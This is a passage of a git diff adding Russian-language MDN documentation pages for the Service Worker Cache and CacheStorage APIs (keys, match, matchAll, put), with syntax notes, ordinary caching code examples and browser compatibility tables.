+  <li><code>ignoreSearch</code>: Булево значение {{domxref("Boolean")}}, которое определяет должен ли процесс сопоставления игнорировать строку запроса в url.  Если установлено в <code>true</code>, часть <code>?value=bar</code> запроса <code>http://foo.com/?value=bar</code> будет проигнорирована при сопоставлении. По умолчанию установлено в <code>false</code>.</li>
+  <li><code>ignoreMethod</code>: Булево значение {{domxref("Boolean")}}, которое, когда равно <code>true</code>, предотвращает проверку {{domxref("Request")}}, при сопоставлении ключей, на <code>HTTP</code> метод (обычно допускаются только <code>GET</code> и <code>HEAD</code>). По умолчанию установлено в <code>false</code>.</li>
+  <li><code>ignoreVary</code>: Булево значение {{domxref("Boolean")}}, которое, когда равно <code>true,</code> указывает операции сопоставления ключей не проводить проверку заголовка <code>VARY</code>.  Другими словами, если URL совпадает, вы получите соответствие, независимо от того, есть ли заголовок <code>VARY </code>на объекте запроса {{domxref("Response")}}. По умолчанию установлено в <code>false</code>.</li>
+  <li><code>cacheName</code>: Строка {{domxref("DOMString")}}, которая представляет собой определенный кеш, в котором нужно вести поиск. Заметьте, что этот параметр игнорируется методом <code>Cache.keys()</code>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Примеры" style="line-height: 30px; font-size: 2.14285714285714rem;">Примеры</h2>
+
+<pre class="brush: js">caches.open('v1').then(function(cache) {
+  cache.keys().then(function(keys) {
+    keys.forEach(function(request, index, array) {
+      cache.delete(request);
+    });
+  });
+})</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache', 'Cache')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(40.0)}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop(39)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(39)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Параметр options поддерживает только значения <code>ignoreSearch и</code> <code>cacheName</code>. </p>
+
+<p>[2] Сервис воркеры (и <a href="https://developer.mozilla.org/en-US/docs/Web/API/Push_API">Push</a>) бы ли отключены в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование сервис воркеров</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/ru/web/api/cache/match/index.html b/files/ru/web/api/cache/match/index.html
new file mode 100644
index 0000000000..a487987497
--- /dev/null
+++ b/files/ru/web/api/cache/match/index.html
@@ -0,0 +1,151 @@
+---
+title: Cache.match()
+slug: Web/API/Cache/match
+translation_of: Web/API/Cache/match
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>Метод <strong><code>match()</code></strong> интерфейса {{domxref("Cache")}} возвращает {{jsxref("Promise")}}, который разрешается в {{domxref("Response")}}, ассоциированный с первым совпадающим запросом в объекте {{domxref("Cache")}}. Если совпадений не найдено, {{jsxref("Promise")}} разрешается в {{jsxref("undefined")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">cache.match(request,{options}).then(function(response) {
+  //сделать что-нибудь с ответом
+});
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("Promise")}}, который разрешается в первый {{domxref("Response")}}, который совпадает с запросом или в {{jsxref("undefined")}}, если совпадений не найдено.</p>
+
+<div class="note">
+<p><strong>Замечание</strong>: <code>Cache.match()</code> в основном идентичен {{domxref("Cache.matchAll()")}}, за исключением того, что <code>Cache.match()</code> разрешается в <code>response[0]</code> (первый совпадающий ответ) вместо <code>response[]</code> (массив со всеми совпадающими ответами).</p>
+</div>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>request</dt>
+ <dd>Запрос {{domxref("Request")}}, который вы пытаетесь найти в {{domxref("Cache")}}.</dd>
+ <dt>options {{optional_inline}}</dt>
+ <dd>Объект, который задает параметры для операции <code>match</code>. Допустимые значения:
+ <ul>
+  <li><code>ignoreSearch</code>: Булево значение {{domxref("Boolean")}}, которое указывает следует ли игнорировать строку запроса в url.  Например, если оно установлено в <code>true, часть</code> <code>?value=bar</code> запроса <code>http://foo.com/?value=bar</code> будет проигнорирована при поиске соответствий ключа. По умолчанию равно <code>false</code>.</li>
+  <li><code>ignoreMethod</code>: Булево значение {{domxref("Boolean")}}, которое, когда равно <code>true</code>, предотвращает проверку <code>http</code> метода для запроса  {{domxref("Request")}} при выполнении сопоставлений ключа (обычно разрешены лишь <code>GET</code> и <code>HEAD</code>). По умолчанию равно <code>false</code>.</li>
+  <li><code>ignoreVary</code>: Булево значение {{domxref("Boolean")}}, которое, когда установлено в <code>true,</code> указывает операции сопоставления ключа не проводить проверку соответствия заголовка <code>VARY</code> — т.е., если URL совпадает, вы получите соответствие независимо от того, установлен ли на объекте {{domxref("Response")}} заголовок <code>VARY</code>. По умолчанию равно <code>false</code>.</li>
+  <li><code>cacheName</code>: Строка {{domxref("DOMString")}}, задающая определенный кеш для поиска. Заметьте, что этот параметр игнорируется методом  <code>Cache.match()</code>.</li>
+ </ul>
+
+ <p>В Chrome поддерживается лишь <code>cacheName</code>.</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры" style="line-height: 30px; font-size: 2.14285714285714rem;">Примеры</h2>
+
+<p>Код взят примера из примера <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/custom-offline-page/service-worker.js">пользовательская оффлайн страница</a> (<a href="https://googlechrome.github.io/samples/service-worker/custom-offline-page/index.html">живой пример</a>).</p>
+
+<p>Следующий пример использует кеш для предоставления данных, когда запрос не удался. Выражение <code>catch()</code> выполняется когда вызов <code>fetch()</code> возбуждает исключение. Внутри выражения <code>catch()</code>, <code>match()</code> используется для возврата корректного ответа.</p>
+
+<p>В этом примере, мы решили что кешироваться будут лишь HTML-документы полученные с помощью GET-запроса. <span style="line-height: 19.0909080505371px;">Если условие <code>if()</code> равно false, то обработчик не будет вмешиваться в ответ. Если зарегистрированы другие обработчики получения данных, то у них будет шанс вызвать  <code>event.respondWith()</code>. Если ни один из обработчиков не вызовет <code>event.respondWith()</code>, запрос будет обработан браузером, как это было бы сделано без участия сервис воркера. Если </span><code style="font-style: normal; line-height: 19.0909080505371px;">fetch()</code><span style="line-height: 19.0909080505371px;"> возвращает валидный HTTP ответ к кодом из диапазона 4xx или 5xx, то метод </span><code style="font-style: normal; line-height: 19.0909080505371px;">catch()</code><span style="line-height: 19.0909080505371px;"> не будет вызван. </span></p>
+
+<pre class="brush: js">self.addEventListener('fetch', function(event) {
+  // Мы хотим выполнить лишь event.respondWith() если это GET-запрос HTML-документа.
+  if (event.request.method === 'GET' &amp;&amp;
+      event.request.headers.get('accept').indexOf('text/html') !== -1) {
+    console.log('Handling fetch event for', event.request.url);
+    event.respondWith(
+      fetch(event.request).catch(function(e) {
+        console.error('Fetch failed; returning offline page instead.', e);
+        return caches.open(OFFLINE_CACHE).then(function(cache) {
+          return cache.match(OFFLINE_URL);
+        });
+      })
+    );
+  }
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache', 'Cache')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(40.0)}} [1]</td>
+   <td>{{CompatGeckoDesktop(39)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(39)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li>[1] Параметр options поддерживает только <code>ignoreSearch и</code> <code>cacheName</code>. </li>
+ <li>[2] Сервис воркеры (и <a href="/en-US/docs/Web/API/Push_API">Push</a>) были отключены в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование сервис воркеров</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/ru/web/api/cache/matchall/index.html b/files/ru/web/api/cache/matchall/index.html
new file mode 100644
index 0000000000..1b2ff77253
--- /dev/null
+++ b/files/ru/web/api/cache/matchall/index.html
@@ -0,0 +1,134 @@
+---
+title: Cache.matchAll()
+slug: Web/API/Cache/matchAll
+translation_of: Web/API/Cache/matchAll
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>Метод <strong><code>matchAll()</code></strong> интерфейса {{domxref("Cache")}} возвращает {{jsxref("Promise")}}, который разрешается в массив всех совпадающих запросов в объекте {{domxref("Cache")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">cache.matchAll(request,{options}).then(function(response) {
+  //сделать что-ниьудь с массивом ответов
+});
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("Promise")}}, который разрешается в массив всех совпадающих запросов в объекте {{domxref("Cache")}}.</p>
+
+<div class="note">
+<p><strong>Замечание</strong>: {{domxref("Cache.match()")}} в основном идентичен <code>Cache.matchAll()</code>, за исключением того, что последний разрешается с <code>response[0]</code> (т.е., первым совпадающим ответом) вместо <code>response</code> (всех совпадающих ответов в массиве).</p>
+</div>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>request</dt>
+ <dd>Запрос {{domxref("Request")}}, который вы пытаетесь найти в {{domxref("Cache")}}.</dd>
+ <dt>options {{optional_inline}}</dt>
+ <dd>Объект options, разрешающий вам установить особые команды контроля поиска соответствий ключа, выполняемого операцией <code>match</code>. Доступные параметры:
+ <ul>
+  <li><code>ignoreSearch</code>: Булево значение {{domxref("Boolean")}}, которое говорит должен ли  процесс сопоставления ключей игнорировать строку запроса в url.  Если равно <code>true</code>, часть <code>?value=bar</code> запроса <code>http://foo.com/?value=bar</code> будет игнорироваться при поиске соответствий ключа . По умолчанию равно <code>false</code>.</li>
+  <li><code>ignoreMethod</code>: Булево значение {{domxref("Boolean")}}, которое, если равно <code>true</code>, предотвращает проверку метода <code>http</code> для запроса {{domxref("Request")}} (обычно разрешены лишь <code>GET и</code> <code>HEAD</code>). По умолчанию равно <code>false</code>.</li>
+  <li><code>ignoreVary</code>: Булево значение {{domxref("Boolean")}}, которое, когда равно <code>true,</code> говорит процессу сопоставления ключей не проверять соответствие заголовка <code>VARY</code> — т.е., если URL совпадает, то вы получите соответствие независимо от того, содержит ли объект {{domxref("Response")}} заголовок <code>VARY, или нет</code>. По умолчанию равно <code>false</code>.</li>
+  <li><code>cacheName</code>: Строка {{domxref("DOMString")}}, которая представляет собой имя кеша для поиска. <strong>Заметьте, что этот параметр игнорируется методом <code>Cache.matchAll()</code>.</strong></li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Примеры" style="line-height: 30px; font-size: 2.14285714285714rem;">Примеры</h2>
+
+<pre class="brush: js">caches.open('v1').then(function(cache) {
+  cache.matchAll('/images/').then(function(response) {
+    response.forEach(function(element, index, array) {
+      cache.delete(element);
+    });
+  });
+})</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache', 'Cache')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(47.0)}} <sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop(44)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>34</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(47.0)}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Параметр options поддерживает только <code>ignoreSearch и</code> <code>cacheName</code>.</p>
+
+<p>[2] Сервис воркеры (и <a href="/en-US/docs/Web/API/Push_API">Push</a>) были отключены в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование сервис воркеров</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/ru/web/api/cache/put/index.html b/files/ru/web/api/cache/put/index.html
new file mode 100644
index 0000000000..a1d6d7080c
--- /dev/null
+++ b/files/ru/web/api/cache/put/index.html
@@ -0,0 +1,109 @@
+---
+title: Cache.put()
+slug: Web/API/Cache/put
+translation_of: Web/API/Cache/put
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p><span class="seoSummary">Метод <strong><code>put()</code></strong> интерфейса {{domxref("Cache")}} позволяет добавлять пары ключ/значение в текущий объект {{domxref("Cache")}}.</span></p>
+
+<p>Often, you will just want to {{domxref("WindowOrWorkerGlobalScope.fetch","fetch()")}} one or more requests, then add the result straight to your cache. In such cases you are better off using {{domxref("Cache.add","Cache.add()")}}/{{domxref("Cache.addAll","Cache.addAll()")}}, as they are shorthand functions for one or more of these operations.</p>
+
+<pre class="brush: js">fetch(url).then(function(response) {
+  if (!response.ok) {
+    throw new TypeError('Bad response status');
+  }
+  return cache.put(url, response);
+})
+
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: <code>put()</code> will overwrite any key/value pair previously stored in the cache that matches the request.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: {{domxref("Cache.add")}}/{{domxref("Cache.addAll")}} do not cache responses with <code>Response.status</code> values that are not in the 200 range, whereas {{domxref("Cache.put")}} lets you store any request/response pair. As a result, {{domxref("Cache.add")}}/{{domxref("Cache.addAll")}} can't be used to store opaque responses, whereas {{domxref("Cache.put")}} can.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Initial Cache implementations (in both Blink and Gecko) resolve {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, and {{domxref("Cache.put")}} promises when the response body is fully written to the disk.  More recent spec versions state that the browser can resolve the promise as soon as the entry is recorded in the database even if the response body is still streaming in.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">cache.put(request, response).then(function() {
+  // request/response pair has been added to the cache
+});
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt>request</dt>
+ <dd>The {{domxref("Request")}} you want to add to the cache.</dd>
+ <dt>response</dt>
+ <dd>The {{domxref("Response")}} you want to match up to the request.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A {{jsxref("Promise")}} that resolves with void.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The promise will reject with a <code>TypeError</code> if the URL scheme is not <code>http</code> or <code>https</code>.</p>
+</div>
+
+<h2 id="Examples" style="line-height: 30px; font-size: 2.14285714285714rem;">Examples</h2>
+
+<p>This example is from the MDN <a href="https://github.com/mdn/sw-test/">sw-test example</a> (see <a href="https://mdn.github.io/sw-test/">sw-test running live</a>). Here we wait for a {{domxref("FetchEvent")}} to fire. We construct a custom response like so:</p>
+
+<ol>
+ <li>Check whether a match for the request is found in the {{domxref("CacheStorage")}} using {{domxref("CacheStorage.match","CacheStorage.match()")}}. If so, serve that.</li>
+ <li>If not, open the <code>v1</code> cache using <code>open()</code>, put the default network request in the cache using {{domxref("Cache.put","Cache.put()")}} and return a clone of the default network request using <code>return response.clone()</code>. Clone is needed because <code>put()</code> consumes the response body.</li>
+ <li>If this fails (e.g., because the network is down), return a fallback response.</li>
+</ol>
+
+<pre class="brush: js">var response;
+var cachedResponse = caches.match(event.request).catch(function() {
+  return fetch(event.request);
+}).then(function(r) {
+  response = r;
+  caches.open('v1').then(function(cache) {
+    cache.put(event.request, response);
+  });
+  return response.clone();
+}).catch(function() {
+  return caches.match('/sw-test/gallery/myLittleVader.jpg');
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-cache-put', 'Cache: put')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Cache.put")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/ru/web/api/cachestorage/index.html b/files/ru/web/api/cachestorage/index.html
new file mode 100644
index 0000000000..76de523901
--- /dev/null
+++ b/files/ru/web/api/cachestorage/index.html
@@ -0,0 +1,205 @@
+---
+title: CacheStorage
+slug: Web/API/CacheStorage
+tags:
+  - API
+  - CacheStorage
+  - Experimental
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - Service Workers
+  - ServiceWorker
+  - TopicStub
+translation_of: Web/API/CacheStorage
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>Интерфейс <strong><code>CacheStorage</code></strong> представляет собой хранилище для объектов {{domxref("Cache")}}. Он предоставляет главную директорию всех именованых кешей, к которым могут получить доступ {{domxref("ServiceWorker")}}, другие типы воркеров или {{domxref("window")}} (вы не обязаны использовать их с service workers, даже если существует спецификация, определяющая это) и поддерживает отображение строковых имен соответствующих объектов {{domxref("Cache")}}.</p>
+
+<p><code>CacheStorage</code> также позволяет вызвать {{domxref("CacheStorage.open()")}} и {{domxref("CacheStorage.match()")}}. Используйте {{domxref("CacheStorage.open()")}} для получения экземпляров {{domxref("Cache")}}. Используйте {{domxref("CacheStorage.match()")}} для проверки того, является ли данный {{domxref("Request")}} ключом в любом из объектов {{domxref("Cache")}}, отслеживаемых объектом <code>CacheStorage</code>.</p>
+
+<p>Вы можете получить доступ к <code>CacheStorage</code> через глобальное свойство {{domxref("WorkerGlobalScope.caches", "caches")}}.</p>
+
+<div class="note"><strong>Заметка</strong>: CacheStorage всегда возвращает отказ с <code>SecurityError</code> для ненадежных источников (т.e. тех, что не используют HTTPS, хотя это утверждение, вероятно, станет более общим в будущем). При тестировании это можно обойти, установив опцию "Enable Service Workers over HTTP (when toolbox is open)" в меню Firefox Devtools options/gear.</div>
+
+<div class="note"><strong>Заметка</strong>: {{domxref("CacheStorage.match()")}} удобный метод. Подобный функционал сопоставления записей кеша может быть реализован путем открытия вашего кеша с помощью {{domxref("CacheStorage.open()")}}, возвращения записей, в ней содержащихся, через {{domxref("CacheStorage.keys()")}} и сравнения необходимой {{domxref("CacheStorage.match()")}}.</div>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("CacheStorage.match()")}}</dt>
+ <dd>Проверяет, является ли данный {{domxref("Request")}} ключом в любом из объектов {{domxref("Cache")}}, отслеживаемых объектом {{domxref("CacheStorage")}}, и возвращает {{jsxref("Promise")}}, который успешно завершится, когда найдет совпадение.</dd>
+ <dt>{{domxref("CacheStorage.has()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}}, который успешно завершится и вернет <code>true,</code> если объект {{domxref("Cache")}} содержит кеш с установленным <code>cacheName</code>.</dd>
+ <dt>{{domxref("CacheStorage.open()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}}, который успешно завершится, когда объект {{domxref("Cache")}} найдет необходимый объект с <code>cacheName</code> (если такого нет, то создаст новый).</dd>
+ <dt>{{domxref("CacheStorage.delete()")}}</dt>
+ <dd>Находит объект {{domxref("Cache")}}, соответствующий <code>cacheName</code>, и, если такой обнаружен, удаляет объект {{domxref("Cache")}} и возвращает {{jsxref("Promise")}}, завершающийся с <code>true</code>. Если объект {{domxref("Cache")}} не найдет, то возвращается <code>false</code>.</dd>
+ <dt>{{domxref("CacheStorage.keys()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}}, который вернет массив, содержащий строки, соответствующие всем именованым объектам {{domxref("Cache")}}, отслеживаемым {{domxref("CacheStorage")}}. Используйте этот метод для прохода по списку всех объектов {{domxref("Cache")}}.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Фрагмент кода взят с MDN <a href="https://github.com/mdn/sw-test/">sw-test example</a> (смотри <a href="https://mdn.github.io/sw-test/">sw-test running live</a>). Этот service worker ожидает старта события {{domxref("InstallEvent")}}, затем запускает {{domxref("ExtendableEvent.waitUntil","waitUntil")}} для обработки процесса установки приложения. Он состоит из вызова {{domxref("CacheStorage.open")}} для создания нового кеша и затем использует {{domxref("Cache.addAll")}} для добавления к нему списка ресурсов.</p>
+
+<p>Во втором блоке кода мы ждем запуска события {{domxref("FetchEvent")}}. Мы создаем встроенный ответ:</p>
+
+<ol>
+ <li>Проверяем, был ли необходимый запрос найден в CacheStorage. Если да, выполняем его.</li>
+ <li>Если нет, получаем запрос от сети, затем так же открываем кеш, созданный в первом блоке, и добавляем клон запроса в него, используя {{domxref("Cache.put")}} (<code>cache.put(event.request, response.clone())</code>.)</li>
+ <li>Если произошла ошибка (например, из-за отсутствия подключения), возвращаем ответ с отказом.</li>
+</ol>
+
+<p>Наконец, возвращаем ответ, был ли встроенный запрос в итоге равнозначным, используя {{domxref("FetchEvent.respondWith")}}.</p>
+
+<pre class="brush: js">this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});
+
+this.addEventListener('fetch', function(event) {
+  var response;
+  event.respondWith(caches.match(event.request).catch(function() {
+    return fetch(event.request);
+  }).then(function(r) {
+    response = r;
+    caches.open('v1').then(function(cache) {
+      cache.put(event.request, response);
+    });
+    return response.clone();
+  }).catch(function() {
+    return caches.match('/sw-test/gallery/myLittleVader.jpg');
+  }));
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache-storage', 'CacheStorage')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функционал</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatGeckoDesktop(44)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Доступ через {{domxref("Window")}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatGeckoDesktop(44)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Доступ через {{domxref("WorkerGlobalScope")}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatGeckoDesktop(44)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функционал</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(44)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+  </tr>
+  <tr>
+   <td>Доступ через {{domxref("Window")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
